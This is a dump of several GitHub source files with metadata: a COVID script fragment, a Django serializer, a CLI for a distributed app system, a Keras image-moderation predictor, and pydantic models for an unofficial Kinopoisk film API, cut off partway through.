pids = []\n    proc_list = []\n    for fork in pool._pool:\n        assert fork.pid != os.getpid()\n        pids.append(fork.pid)\n    for pid in pids:\n        try:\n            parent = psutil.Process(pid)\n            children = parent.children(recursive=True)\n            proc_list.append(parent)\n            proc_list.extend(children)\n        except NoSuchProcess:\n            continue\n    return proc_list\n\n\ndef kill_procs(proc_list, sig=signal.SIGTERM, timeout=1):\n    for proc in proc_list:\n        try:\n            proc.send_signal(sig)\n            # psutil.wait_procs(proc, timeout=timeout)\n        except NoSuchProcess:\n            continue\n\n\nif __name__ == '__main__':\n    import sys\n    asyncio.run(main(sys.argv[1:]))\n","repo_name":"fujifilmfan/covid-by-county","sub_path":"covid_by_county/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":6284,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"32378961083","text":"from rest_framework import serializers\nfrom .models import TalentResume\n\nclass TalentResumeSerializer(serializers.ModelSerializer):\n  # talent = serializers.SlugRelatedField(many=False, read_only=True, slug_field='id')\n\n  class Meta:\n    model = TalentResume\n    fields = (\n        'id', \n        'talent',\n        'approved',\n        'approved_date',\n        'approved_by',\n        'name', \n        'path', \n        'url',\n        'size', \n        'file_type', \n        'timestamp', \n        'updated', \n        'uploaded', \n        'active', \n        'preview_path'\n      )","repo_name":"dev0088/django_api_and_reactjs_app","sub_path":"backend/talent_resume/serializers.py","file_name":"serializers.py","file_ext":"py","file_size_in_byte":575,"program_lang":"python","lang":"en","doc_type":"code","stars":3,"dataset":"github-code","pt":"57"}
+{"seq_id":"11278547281","text":"from argparse import ArgumentParser\nfrom cmd import Cmd\n\nfrom troup.node import NODE_LOCK_FILE_PATH\n\n\ndef sys_commands(cmd_parsers):\n  parser = cmd_parsers.add_parser('sys', help='System commands')\n  parser.add_argument('--list-nodes', action='store_true', help='List all known nodes on the system')\n  parser.add_argument('--list-apps', action='store_true', help='List all known apps')\n  \n\ndef app_commands(cmd_parsers):\n  parser = cmd_parsers.add_parser('app', help='Applications commands')\n  \n  parser.add_argument('--add', dest='add_app_name', help='Add an app to the system', default='', metavar='APP')\n  parser.add_argument('--desc', dest='app_desc', help='Application description', default='')\n  parser.add_argument('--cmd', dest='app_cmd', help='Application cmd', default='')\n  parser.add_argument('--req-cpu', dest='needs_cpu', help='Application CPU requirements', default=0)\n  parser.add_argument('--req-mem', dest='needs_mem', help='Application memory requirements', default=0)\n  parser.add_argument('--req-net', dest='needs_net', help='Application network requirements', default=0)\n  parser.add_argument('--req-disk', dest='needs_disk', help='Application disk requirements', default=0)\n  parser.add_argument('--param', dest='params', nargs='+', help='Extra parameters in the form: PARAM_NAME=PARAM_VALUE', default='')\n  \n  parser.add_argument('--update', dest='update_app_name', help='Update app info', default='', metavar='APP')\n  \n  parser.add_argument('--del', dest='delete_app_name', help='Delete an app', default='', metavar='APP')\n  \n  parser.add_argument('--show', dest='show_app_name', help='Show info about app', default='', metavar='APP')\n  \n  parser.add_argument('-r', '--run', dest='run_app_name', help='Run an app on the system', default='', metavar='APP')\n  parser.add_argument('--forward-audio', dest='forward_audio', action='store_true', help='Whether to forward the audio from the host node where the app actually runs')\n  parser.add_argument('--forward-video', dest='forward_video', action='store_true', help='Whether to forward the video from the host node where the app actually runs')\n  parser.add_argument('--buffer-size', dest='buffer_size', help='Size of the buffer to capture from stdout. To disable use 0, to set to unlimited set -1', default=0)\n\n\ndef build_parser():\n  parser = ArgumentParser(prog='troupcli')\n  parser.add_argument('--lock-file', default=NODE_LOCK_FILE_PATH, help='Troup node lock file path')\n  parser.add_argument('--nearest-node', default='', help='Full URL of the nearest node')\n  \n  cmd_parsers = parser.add_subparsers(title='commands', description='troupcli commands', dest='command', metavar='command')\n  \n  sys_commands(cmd_parsers)\n  app_commands(cmd_parsers)\n  \n  return parser\n  \n\nclass InteractiveShell(Cmd):\n  intro = 'Troup system interactive shell.\\n\\nType ? to list the available commands.\\n'\n  file = None\n  prompt = '[unset] >> '\n  \n  def complete_cmd(text, avail):\n    if not text:\n      return avail\n    else:\n      cmds = []\n      for c in avail:\n        if c.startswith(text):\n          cmds.append(c)\n      return cmds\n  \n  def do_sys(self, arg):\n    \"\"\"System commands.\n    \"\"\"\n    print('Not available yet')\n  \n  def complete_sys(self, text, line, begidx, endidx):\n    return InteractiveShell.complete_cmd(text, ['list_nodes','list_apps'])\n  \n  def do_quit(self, arg):\n    \"\"\"Quit the interactive shell\n    \"\"\"\n    print('Bye')\n    return True\n  \n  def do_q(self, arg):\n    \"\"\"Quit the interactive shell\n    \"\"\"\n    return self.do_quit(arg)\n\n\ndef start_shell(args):\n  InteractiveShell.prompt = '[localhost] >> '\n  shell = InteractiveShell()\n  shell.cmdloop()\n\nif __name__ == '__main__':\n  parser = build_parser()\n  args = parser.parse_args()\n  \n  \n  if not args.command:\n    start_shell(args)\n  \n  \n","repo_name":"troup-system/troup-cli","sub_path":"troupcli/cli.py","file_name":"cli.py","file_ext":"py","file_size_in_byte":3778,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"5935957174","text":"from keras.models import model_from_json\r\nimport imageio\r\nimport numpy as np\r\n\r\n__author__ = \"Sreepathi Bhargava Krishna\"\r\n__credits__ = [\"Sreepathi Bhargava Krishna\"]\r\n__email__ = \"s.bhargava.krishna@gmail.com\"\r\n__status__ = \"Made for the Assessment\"\r\n\r\njson_file = open('model_data_validation_final_all_7.json', 'r')\r\nloaded_model_json = json_file.read()\r\njson_file.close()\r\nloaded_model = model_from_json(loaded_model_json)\r\n# load weights into new model\r\nloaded_model.load_weights(\"model_data_validation_final_all_7.h5\")\r\nprint(\"Loaded model from disk\")\r\n\r\npath_to_image_location = r'C:\\Users\\krish\\Desktop\\Property Guru\\pg-image-moderation\\all_images\\image_moderation_images/'\r\n\r\nIMG_SIZE = 299\r\n\r\ndef predict(list_of_images):\r\n\r\n    for i in range(len(list_of_images)):\r\n        output_list = []\r\n\r\n        img = imageio.imread(path_to_image_location + list_of_images[i])\r\n        arr = np.array(img)\r\n        if len(arr.shape) > 2:\r\n            testImages = np.array(img).reshape(-1, IMG_SIZE, IMG_SIZE, 3)\r\n            pred = loaded_model.predict(testImages)\r\n\r\n            pred_bool = (pred > 0.4)\r\n            predictions = pred_bool.astype(int)\r\n            predictions = predictions[0]\r\n            if predictions[0] == 1:\r\n                output_list.append('text')\r\n\r\n            if predictions[1] == 1:\r\n                output_list.append('floorplan')\r\n\r\n            if predictions[2] == 1:\r\n                output_list.append('map')\r\n\r\n            if predictions[3] == 1:\r\n                output_list.append('face')\r\n\r\n            if predictions[4] == 1:\r\n                output_list.append('collaged')\r\n\r\n            if predictions[5] == 1:\r\n                output_list.append('property')\r\n\r\n            if predictions[6] == 1:\r\n                output_list.append('siteplan')\r\n\r\n\r\n            if len(output_list) == 0:\r\n                print ('couldnt recognize any class')\r\n            else:\r\n                print (output_list)\r\n        else:\r\n            print ('It is not a color image, this classifier works only for color images')\r\n\r\n\r\nif __name__ == '__main__':\r\n\r\n    list_of_images = ['3853906.jpg', '3869890.jpg', '18016960.jpg', '35914048.jpg', '52722208.jpg', '55468423.jpg', '38262437.jpg']\r\n    predict(list_of_images)\r\n\r\n\r\n\r\n","repo_name":"BhargavaKrishnaSreepathi/Personal-coding","sub_path":"Machine_learning/Property_Guru/image_predictor_7.py","file_name":"image_predictor_7.py","file_ext":"py","file_size_in_byte":2257,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"57"}
+{"seq_id":"474017081","text":"from typing import List, Optional, Union\n\nfrom pydantic import BaseModel, Field, model_serializer, validator\n\nfrom .enums import (\n    ProductionStatus,\n    FilmType,\n    FactType,\n    DistributionType,\n    ReleaseType,\n    RelationType,\n    ProfessionKey,\n    Sex,\n    AccountType,\n    RelationType1,\n    ReviewType,\n    Site,\n)\n\n\nclass Fact(BaseModel):\n    text: str = Field(\n        ...,\n        example=\"В эпизоде, где Тринити и Нео в поисках Морфиуса оказываются на крыше...\",\n    )\n    type: FactType = Field(..., example=\"BLOOPER\")\n    spoiler: bool = Field(..., example=False)\n\n\nclass BoxOffice(BaseModel):\n    type: str = Field(..., example=\"BUDGET\")\n    amount: int = Field(..., example=63000000)\n    currency_code: str = Field(..., example=\"USD\", alias=\"currencyCode\")\n    name: str = Field(..., example=\"US Dollar\")\n    symbol: str = Field(..., example=\"$\")\n\n\nclass AwardPerson(BaseModel):\n    kinopoisk_id: int = Field(..., example=1937039, alias=\"kinopoiskId\")\n    web_url: str = Field(\n        ..., example=\"https://www.kinopoisk.ru/name/1937039/\", alias=\"webUrl\"\n    )\n    name_ru: Optional[str] = Field(..., example=\"Джон Т. Рейц\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(..., example=\"John T. Reitz\", alias=\"nameEn\")\n    sex: str = Field(..., example=\"MALE\")\n    poster_url: str = Field(\n        ...,\n        example=\"https://kinopoiskapiunofficial.tech/images/actor_posters/kp/1937039.jpg\",\n        alias=\"posterUrl\",\n    )\n    growth: Optional[int] = Field(..., example=178)\n    birthday: Optional[str] = Field(..., example=\"1955-11-02\")\n    death: Optional[str] = Field(..., example=\"2019-01-06\")\n    age: Optional[int] = Field(..., example=21)\n    birthplace: Optional[str] = Field(..., example=\"Лос-Анджелес, Калифорния, США\")\n    deathplace: Optional[str] = Field(..., example=\"Лос-Анджелес, Калифорния, США\")\n    profession: Optional[str] = Field(..., example=\"Монтажер, Продюсер\")\n\n\nclass Company(BaseModel):\n    name: str = Field(..., example=\"Каро-Премьер\")\n\n    @model_serializer\n    def ser_model(self) -> str:\n        return self.name\n\n\nclass Episode(BaseModel):\n    season_number: int = Field(..., example=1, alias=\"seasonNumber\")\n    episode_number: int = Field(..., example=1, alias=\"episodeNumber\")\n    name_ru: Optional[str] = Field(\n        ..., example=\"Глава первая: Исчезновение Уилла Байерса\", alias=\"nameRu\"\n    )\n    name_en: Optional[str] = Field(\n        ..., example=\"Chapter One: The Vanishing of Will Byers\", alias=\"nameEn\"\n    )\n    synopsis: Optional[str] = Field(..., example=\"The Vanishing of Will Byers...\")\n    releaseDate: Optional[str] = Field(..., example=\"2016-07-15\")\n\n\nclass Country(BaseModel):\n    country: str = Field(..., example=\"США\")\n\n    @model_serializer\n    def ser_model(self) -> str:\n        return self.country\n\n\nclass Genre(BaseModel):\n    genre: str = Field(..., example=\"фантастика\")\n\n    @model_serializer\n    def ser_model(self) -> str:\n        return self.genre\n\n\nclass FilmSequelsAndPrequelsResponse(BaseModel):\n    film_id: int = Field(..., example=301, alias=\"filmId\")\n    name_ru: str = Field(..., example=\"Матрица\", alias=\"nameRu\")\n    name_en: str = Field(..., example=\"The Matrix\", alias=\"nameEn\")\n    name_original: str = Field(..., example=\"The Matrix\", alias=\"nameOriginal\")\n    poster_url: str = Field(\n        ...,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp/301.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: str = Field(\n        ...,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n    relation_type: RelationType = Field(..., example=\"SEQUEL\", alias=\"relationType\")\n\n\nclass StaffResponse(BaseModel):\n    staff_id: int = Field(..., example=66539, alias=\"staffId\")\n    name_ru: Optional[str] = Field(..., example=\"Винс Гиллиган\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(..., example=\"Vince Gilligan\", alias=\"nameEn\")\n    description: Optional[str] = Field(..., example=\"Neo\")\n    poster_url: str = Field(\n        ...,\n        example=\"https://st.kp.yandex.net/images/actor/66539.jpg\",\n        alias=\"posterUrl\",\n    )\n    profession_text: str = Field(..., example=\"Режиссеры\", alias=\"professionText\")\n    profession_key: ProfessionKey = Field(\n        ..., example=\"DIRECTOR\", alias=\"professionKey\"\n    )\n\n\nclass PremiereResponseItem(BaseModel):\n    kinopoisk_id: int = Field(..., example=301, alias=\"kinopoiskId\")\n    name_ru: Optional[str] = Field(..., example=\"Дитя погоды\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(..., example=\"Tenki no ko\", alias=\"nameEn\")\n    year: int = Field(..., example=2019)\n    poster_url: str = Field(\n        ...,\n        example=\"http://kinopoiskapiunofficial.tech/images/posters/kp/1219417.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: str = Field(\n        ...,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n    countries: List[Country]\n    genres: List[Genre]\n    duration: Optional[int] = Field(..., example=112)\n    premiere_ru: str = Field(..., example=\"2020-06-01\", alias=\"premiereRu\")\n\n\nclass DigitalReleaseItem(BaseModel):\n    film_id: int = Field(..., example=301, alias=\"filmId\")\n    name_ru: Optional[str] = Field(..., example=\"Дитя погоды\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(..., example=\"Tenki no ko\", alias=\"nameEn\")\n    year: Optional[int] = Field(..., example=2019)\n    poster_url: str = Field(\n        ...,\n        example=\"http://kinopoiskapiunofficial.tech/images/posters/kp/1219417.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: str = Field(\n        ...,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n    countries: List[Country]\n    genres: List[Genre]\n    rating: Optional[float] = Field(..., example=7.962)\n    rating_vote_count: Optional[int] = Field(\n        ..., example=14502, alias=\"ratingVoteCount\"\n    )\n    expectations_rating: Optional[float] = Field(\n        ..., example=99.13, alias=\"expectationsRating\"\n    )\n    expectations_rating_vote_count: Optional[int] = Field(\n        ..., example=1123, alias=\"expectationsRatingVoteCount\"\n    )\n    duration: Optional[int] = Field(..., example=112)\n    release_date: str = Field(..., example=\"2020-06-01\", alias=\"releaseDate\")\n\n\nclass ApiError(BaseModel):\n    message: str = Field(..., example=\"User test@test.ru is inactive or deleted.\")\n\n    @model_serializer\n    def ser_model(self) -> str:\n        return self.message\n\n\nclass FiltersResponseGenres(BaseModel):\n    id: Optional[int] = Field(None, example=1)\n    genre: Optional[str] = Field(None, example=\"боевик\")\n\n\nclass FiltersResponseCountries(BaseModel):\n    id: Optional[int] = Field(None, example=1)\n    country: Optional[str] = Field(None, example=\"США\")\n\n\nclass FilmSearchResponseFilms(BaseModel):\n    film_id: Optional[int] = Field(None, example=263531, alias=\"filmId\")\n    name_ru: Optional[str] = Field(None, example=\"Мстители\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(None, example=\"The Avengers\", alias=\"nameEn\")\n    type: Optional[FilmType] = Field(None, example=\"FILM\")\n    year: Optional[int] = Field(None, example=2012)\n    description: Optional[str] = Field(None, example=\"США, Джосс Уидон(фантастика)\")\n    film_length: Optional[str] = Field(None, example=\"2:17\", alias=\"filmLength\")\n    countries: Optional[List[Country]] = None\n    genres: Optional[List[Genre]] = None\n    rating: Optional[str] = Field(\n        None,\n        example=\"NOTE!!! 7.9 for released film or 99% if film have not released yet\",\n    )\n    rating_vote_count: Optional[int] = Field(\n        None, example=284245, alias=\"ratingVoteCount\"\n    )\n    poster_url: Optional[str] = Field(\n        None,\n        example=\"http://kinopoiskapiunofficial.tech/images/posters/kp/263531.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: Optional[str] = Field(\n        None,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n\n    @validator(\"year\", pre=True)\n    def year_validator(cls, v: Optional[Union[str, int]]) -> Optional[int]:\n        if v == \"null\":\n            return None\n\n        try:\n            return int(v)\n        except ValueError:\n            raise ValueError(\"year must be `null` or int\")\n\n    @validator(\"rating\", pre=True)\n    def rating_validator(cls, v: Optional[Union[str, int]]) -> Optional[int]:\n        if v == \"null\":\n            return None\n\n        return str(v)\n\n\nclass FilmSearchByFiltersResponseItems(BaseModel):\n    kinopoisk_id: Optional[int] = Field(None, example=263531, alias=\"kinopoiskId\")\n    imdb_id: Optional[str] = Field(None, example=\"tt0050561\", alias=\"imdbId\")\n    name_ru: Optional[str] = Field(None, example=\"Мстители\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(None, example=\"The Avengers\", alias=\"nameEn\")\n    name_original: Optional[str] = Field(\n        None, example=\"The Avengers\", alias=\"nameOriginal\"\n    )\n    countries: Optional[List[Country]] = None\n    genres: Optional[List[Genre]] = None\n    rating_kinopoisk: Optional[float] = Field(\n        None, example=7.9, alias=\"ratingKinopoisk\"\n    )\n    rating_imdb: Optional[float] = Field(None, example=7.9, alias=\"ratingImdb\")\n    year: Optional[float] = Field(None, example=2012)\n    type: Optional[FilmType] = Field(None, example=\"FILM\")\n    poster_url: Optional[str] = Field(\n        None,\n        example=\"http://kinopoiskapiunofficial.tech/images/posters/kp/263531.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: Optional[str] = Field(\n        None,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n\n\nclass RelatedFilmResponseItems(BaseModel):\n    film_id: Optional[int] = Field(None, example=301, alias=\"filmId\")\n    name_ru: Optional[str] = Field(None, example=\"Матрица\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(None, example=\"The Matrix\", alias=\"nameEn\")\n    name_original: Optional[str] = Field(\n        None, example=\"The Matrix\", alias=\"nameOriginal\"\n    )\n    poster_url: Optional[str] = Field(\n        None,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp/301.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: Optional[str] = Field(\n        None,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n    relation_type: Optional[RelationType1] = Field(\n        None, example=\"SIMILAR\", alias=\"relationType\"\n    )\n\n\nclass ReviewResponseItems(BaseModel):\n    kinopoisk_id: Optional[int] = Field(None, example=2, alias=\"kinopoiskId\")\n    type: Optional[ReviewType] = None\n    date: Optional[str] = Field(None, example=\"2010-09-05T20:37:00\")\n    positive_rating: Optional[int] = Field(None, example=122, alias=\"positiveRating\")\n    negative_rating: Optional[int] = Field(None, example=12, alias=\"negativeRating\")\n    author: Optional[str] = Field(None, example=\"Username\")\n    title: Optional[str] = Field(None, example=\"Title\")\n    description: Optional[str] = Field(None, example=\"text\")\n\n\nclass ExternalSourceResponseItems(BaseModel):\n    url: Optional[str] = Field(\n        None,\n        example=\"https://okko.tv/movie/equilibrium?utm_medium=referral&utm_source=yandex_search&utm_campaign=new_search_feed\",\n    )\n    platform: Optional[str] = Field(None, example=\"Okko\")\n    logo_url: Optional[str] = Field(\n        None,\n        example=\"https://avatars.mds.yandex.net/get-ott/239697/7713e586-17d1-42d1-ac62-53e9ef1e70c3/orig\",\n        alias=\"logoUrl\",\n    )\n    positive_rating: Optional[int] = Field(None, example=122, alias=\"positiveRating\")\n    negative_rating: Optional[int] = Field(None, example=12, alias=\"negativeRating\")\n    author: Optional[str] = Field(None, example=\"Username\")\n    title: Optional[str] = Field(None, example=\"Title\")\n    description: Optional[str] = Field(None, example=\"text\")\n\n\nclass FilmCollectionResponseItems(BaseModel):\n    kinopoisk_id: Optional[int] = Field(None, example=263531, alias=\"kinopoiskId\")\n    name_ru: Optional[str] = Field(None, example=\"Мстители\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(None, example=\"The Avengers\", alias=\"nameEn\")\n    name_original: Optional[str] = Field(\n        None, example=\"The Avengers\", alias=\"nameOriginal\"\n    )\n    countries: Optional[List[Country]] = None\n    genres: Optional[List[Genre]] = None\n    rating_kinopoisk: Optional[float] = Field(\n        None, example=7.9, alias=\"ratingKinopoisk\"\n    )\n    rating_imbd: Optional[float] = Field(None, example=7.9, alias=\"ratingImbd\")\n    year: Optional[int] = Field(None, example=2012)\n    type: Optional[FilmType] = Field(None, example=\"FILM\")\n    poster_url: Optional[str] = Field(\n        None,\n        example=\"http://kinopoiskapiunofficial.tech/images/posters/kp/263531.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: Optional[str] = Field(\n        None,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n\n\nclass PersonResponseSpouses(BaseModel):\n    person_id: Optional[int] = Field(None, example=32169, alias=\"personId\")\n    name: Optional[str] = Field(None, example=\"Сьюзан Дауни\")\n    divorced: Optional[bool] = Field(None, example=False)\n    divorced_reason: Optional[str] = Field(None, example=\"\", alias=\"divorcedReason\")\n    sex: Optional[Sex] = Field(None, example=\"MALE\")\n    children: Optional[int] = Field(None, example=2)\n    web_url: Optional[str] = Field(\n        None, example=\"https://www.kinopoisk.ru/name/32169/\", alias=\"webUrl\"\n    )\n    relation: Optional[str] = Field(None, example=\"супруга\")\n\n\nclass PersonResponseFilms(BaseModel):\n    film_id: Optional[int] = Field(None, example=32169, alias=\"filmId\")\n    name_ru: Optional[str] = Field(None, example=\"Солист\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(None, example=\"The Soloist\", alias=\"nameEn\")\n    rating: Optional[str] = Field(\n        None, example=\"7.2 or 76% if film has not released yet\"\n    )\n    general: Optional[bool] = Field(None, example=False)\n    description: Optional[str] = Field(None, example=\"Steve Lopez\")\n    profession_key: Optional[ProfessionKey] = Field(\n        None, example=\"ACTOR\", alias=\"professionKey\"\n    )\n\n    @validator(\"rating\", pre=True)\n    def rating_validator(cls, v: Optional[Union[str, int]]) -> Optional[int]:\n        if v == \"null\":\n            return None\n\n        return str(v)\n\n\nclass PersonByNameResponseItems(BaseModel):\n    kinopoisk_id: Optional[int] = Field(None, example=66539, alias=\"kinopoiskId\")\n    web_url: Optional[str] = Field(None, example=\"10096\", alias=\"webUrl\")\n    name_ru: Optional[str] = Field(None, example=\"Винс Гиллиган\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(None, example=\"Vince Gilligan\", alias=\"nameEn\")\n    sex: Optional[Sex] = Field(None, example=\"MALE\")\n    poster_url: Optional[str] = Field(\n        None,\n        example=\"https://kinopoiskapiunofficial.tech/images/actor_posters/kp/10096.jpg\",\n        alias=\"posterUrl\",\n    )\n\n\nclass ImageResponseItems(BaseModel):\n    image_url: Optional[str] = Field(\n        None,\n        example=\"https://avatars.mds.yandex.net/get-kinopoisk-image/4303601/2924f6c4-4ea0-4a1d-9a48-f29577172b27/orig\",\n        alias=\"imageUrl\",\n    )\n    preview_url: Optional[str] = Field(\n        None,\n        example=\"https://avatars.mds.yandex.net/get-kinopoisk-image/4303601/2924f6c4-4ea0-4a1d-9a48-f29577172b27/300x\",\n        alias=\"previewUrl\",\n    )\n\n\nclass VideoResponseItems(BaseModel):\n    url: Optional[str] = Field(\n        None, example=\"https://www.youtube.com/watch?v=gbcVZgO4n4E\"\n    )\n    name: Optional[str] = Field(\n        None, example=\"Мстители: Финал – официальный трейлер (16+)\"\n    )\n    site: Optional[Site] = Field(None, example=\"YOUTUBE\")\n\n\nclass KinopoiskUserVoteResponseItems(BaseModel):\n    kinopoisk_id: Optional[int] = Field(None, example=263531, alias=\"kinopoiskId\")\n    name_ru: Optional[str] = Field(None, example=\"Мстители\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(None, example=\"The Avengers\", alias=\"nameEn\")\n    name_original: Optional[str] = Field(\n        None, example=\"The Avengers\", alias=\"nameOriginal\"\n    )\n    countries: Optional[List[Country]] = None\n    genres: Optional[List[Genre]] = None\n    rating_kinopoisk: Optional[float] = Field(\n        None, example=7.9, alias=\"ratingKinopoisk\"\n    )\n    rating_imbd: Optional[float] = Field(None, example=7.9, alias=\"ratingImbd\")\n    year: Optional[int] = Field(None, example=2012)\n    type: Optional[FilmType] = Field(None, example=\"FILM\")\n    poster_url: Optional[str] = Field(\n        None,\n        example=\"http://kinopoiskapiunofficial.tech/images/posters/kp/263531.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: Optional[str] = Field(\n        None,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n    user_rating: Optional[int] = Field(None, example=7, alias=\"userRating\")\n\n    @validator(\"year\", pre=True)\n    def year_validator(cls, v: Optional[Union[str, int]]) -> Optional[int]:\n        if v == \"null\":\n            return None\n\n        try:\n            return int(v)\n        except ValueError:\n            raise ValueError(\"year must be `null` or int\")\n\n\nclass ApiKeyResponseTotalQuota(BaseModel):\n    value: int = Field(..., example=1000)\n    used: int = Field(..., example=2)\n\n\nclass ApiKeyResponseDailyQuota(BaseModel):\n    value: int = Field(..., example=500)\n    used: int = Field(..., example=2)\n\n\nclass Film(BaseModel):\n    kinopoisk_id: int = Field(..., example=301, alias=\"kinopoiskId\")\n    kinopoisk_hd_id: Optional[str] = Field(\n        ..., example=\"4824a95e60a7db7e86f14137516ba590\", alias=\"kinopoiskHDId\"\n    )\n    imdb_id: Optional[str] = Field(..., example=\"tt0133093\", alias=\"imdbId\")\n    name_ru: Optional[str] = Field(..., example=\"Матрица\", alias=\"nameRu\")\n    name_en: Optional[str] = Field(..., example=\"The Matrix\", alias=\"nameEn\")\n    name_original: Optional[str] = Field(\n        ..., example=\"The Matrix\", alias=\"nameOriginal\"\n    )\n    poster_url: str = Field(\n        ...,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp/301.jpg\",\n        alias=\"posterUrl\",\n    )\n    poster_url_preview: str = Field(\n        ...,\n        example=\"https://kinopoiskapiunofficial.tech/images/posters/kp_small/301.jpg\",\n        alias=\"posterUrlPreview\",\n    )\n    cover_url: Optional[str] = Field(\n        ...,\n        example=\"https://avatars.mds.yandex.net/get-ott/1672343/2a0000016cc7177239d4025185c488b1bf43/orig\",\n        alias=\"coverUrl\",\n    )\n    logo_url: Optional[str] = Field(\n        ...,\n        example=\"https://avatars.mds.yandex.net/get-ott/1648503/2a00000170a5418408119bc802b53a03007b/orig\",\n        alias=\"logoUrl\",\n    )\n    reviews_count: int = Field(..., example=293, alias=\"reviewsCount\")\n    rating_good_eeview: Optional[float] = Field(\n        ..., example=88.9, alias=\"ratingGoodReview\"\n    )\n    rating_good_review_vote_count: Optional[int] = Field(\n        ..., example=257, alias=\"ratingGoodReviewVoteCount\"\n    )\n    rating_kinopoisk: Optional[float] = Field(..., example=8.5, alias=\"ratingKinopoisk\")\n    rating_kinopoisk_vote_count: Optional[int] = Field(\n        ..., example=524108, alias=\"ratingKinopoiskVoteCount\"\n    )\n    rating_imdb: Optional[float] = Field(..., example=8.7, alias=\"ratingImdb\")\n    rating_imdb_vote_count: Optional[int] = Field(\n        ..., example=1729087, alias=\"ratingImdbVoteCount\"\n    )\n    rating_film_critics: Optional[float] = Field(\n        ..., example=7.8, alias=\"ratingFilmCritics\"\n    )\n    rating_film_critics_vote_count: Optional[int] = Field(\n        ..., example=155, alias=\"ratingFilmCriticsVoteCount\"\n    )\n    rating_await: Optional[float] = Field(..., example=7.8, alias=\"ratingAwait\")\n    rating_await_count: Optional[int] = Field(..., example=2, alias=\"ratingAwaitCount\")\n    rating_rf_critics: Optional[float] = Field(\n        ..., example=7.8, alias=\"ratingRfCritics\"\n    )\n    rating_rf_critics_vote_count: Optional[int] = Field(\n        ..., example=31, alias=\"ratingRfCriticsVoteCount\"\n    )\n    web_url: str = Field(\n        ..., example=\"https://www.kinopoisk.ru/film/301/\", alias=\"webUrl\"\n    )\n    year: Optional[int] = Field(..., example=1999)\n    film_length: Optional[int] = Field(..., example=136, alias=\"filmLength\")\n    slogan: Optional[str] = Field(..., example=\"Добро пожаловать в реальный мир\")\n    description: Optional[str] = Field(\n        ..., example=\"Жизнь Томаса Андерсона разделена на\\xa0две части:\"\n    )\n    short_description: Optional[str] = Field(\n        ...,\n        example=\"Хакер Нео узнает, что его мир — виртуальный. Выдающийся экшен, доказавший, что зрелищное кино может быть умным\",\n        alias=\"shortDescription\",\n    )\n    editor_annotation: Optional[str] = Field(\n        ...,\n        example=\"Фильм доступен только на языке оригинала с русскими субтитрами\",\n        alias=\"editorAnnotation\",\n    )\n    is_tickets_available: bool = Field(..., example=False, alias=\"isTicketsAvailable\")\n    production_status: Optional[ProductionStatus] = Field(\n        ..., example=\"POST_PRODUCTION\", alias=\"productionStatus\"\n    )\n    type: FilmType = Field(..., example=\"FILM\")\n    rating_mpaa: Optional[str] = Field(..., example=\"r\", alias=\"ratingMpaa\")\n    rating_age_limits: Optional[str] = Field(\n        ..., example=\"age16\", alias=\"ratingAgeLimits\"\n    )\n    has_imax: Optional[bool] = Field(..., example=False, alias=\"hasImax\")\n    has_3d: Optional[bool] = Field(..., example=False, alias=\"has3D\")\n    last_sync: str = Field(..., example=\"2021-07-29T20:07:49.109817\", alias=\"lastSync\")\n    countries: List[Country]\n    genres: List[Genre]\n    start_year: Optional[int] = Field(..., example=1996, alias=\"startYear\")\n    end_year: Optional[int] = Field(..., example=1996, alias=\"endYear\")\n    serial: Optional[bool] = Field(None, example=False, alias=\"serial\")\n    short_film: Optional[bool] = Field(None, example=False, alias=\"shortFilm\")\n    completed: Optional[bool] = Field(None, example=False)\n\n\nclass FactResponse(BaseModel):\n    total: int = Field(..., example=5)\n    items: List[Fact]\n\n\nclass BoxOfficeResponse(BaseModel):\n    total: int = Field(..., example=5)\n    items: List[BoxOffice]\n\n\nclass Award(BaseModel):\n    name: str = Field(..., example=\"Оскар\")\n    win: bool = Field(..., example=True)\n    image_url: Optional[str] = Field(\n        ...,\n        example=\"https://avatars.mds.yandex.net/get-kinopoisk-image/1600647/09035193-2458-4de7-a7df-ad8f85b73798/orig\",\n        